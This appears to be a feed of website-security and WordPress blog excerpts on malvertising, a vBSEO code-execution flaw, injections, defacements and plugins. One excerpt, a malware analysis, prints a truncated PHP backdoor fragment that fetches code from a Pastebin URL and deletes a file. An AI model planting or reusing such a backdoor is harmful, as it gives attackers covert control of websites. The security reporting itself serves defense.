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AdSense Abused with Malvertising Campaign
Last weekend we noticed a large number of requests to scan websites for malware because they randomly redirected to some “magazine” websites. Most of them mentioned the lemode-mgz .com site. In all cases, the symptoms were the same. Some users randomly got redirected when they clicked on links or loaded new pages. They all reported […]
vBSEO’s Vulnerability Leads to Remote Code Execution
We were notified last week that the vBulletin team sent an email to all their clients about a potential security vulnerability in vBSEO. After further investigation, we confirm that this is a very critical issue as it could allow an attacker to execute malicious PHP code on your website, manually patching this add-on should be […]
How to Allow User Log In with Email in WordPress
Have you noticed that most popular sites like Facebook, Twitter, etc allow users to log in with email or their username? Want to add the same functionality on your site? In this article, we will show you how to allow user log in with email in WordPress. Read the full article here.
vBulletin Releases Serious Vulnerability in VBSEO
The vBulletin team sent an email yesterday to all their clients about a potential security vulnerability on VBSEO. VBSEO is widely used SEO module for vBulletin that was discontinued last year. This makes the problem worse, no patches will be released for it. If you are using VBSEO, you have 3 options: Completely remove VBSEO […]
Websites Compromised with CloudFrond Injection
If you haven’t already noticed, we spent a good deal of time scraping the bottom of the interweb barrel, it’s dirty work, but someone has to do it. I’m not going to lie though, to us it’s fascinating digging up little nuggets daily, understanding how attackers think and uncovering the latest trends. Besides, it gives […]
20 Must Have WordPress Plugins for 2015 (Expert Pick)
Before anything else, let us greet you a Happy New Year! New year comes with firsts and new stuff to try. With no further ado, here are the ‘must have’ WordPress plugins for this year. 20 Must Have WordPress Plugins for 2015 (Expert Pick) Are you looking for the must have WordPress plugins used by […]
Website Backdoors Leverage the Pastebin Service
We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files. Here’s the backdoor code: if(array_keys($_GET)[0] == ‘up’){ $content = file_get_contents(“http://pastebin . com/raw.php?i=JK5r7NyS”); if($content){unlink(‘evex.php’); $fh2 […]
2014 Website Defacements
Defacements are the most visual and obvious hack that a website can suffer from. They also come parcelled with their own exquisite sense of dread. Nothing gives that gut-wrenching feeling of “I’ve been hacked” more than seeing this: Most malware that we see on a daily basis is driven by some desire to profit off […]
CloudFlare in 2014: Bigger, Faster, Securer
At the end of 2013 we posted a blog article titled 2013: Rebuild the Engine; 2014: Step on the Gas which explained how in 2013 we had been rebuilding the engine that powers CloudFlare and how we expected 2014 to be when we stepped on the gas. In that blog post, we said that we’d […]

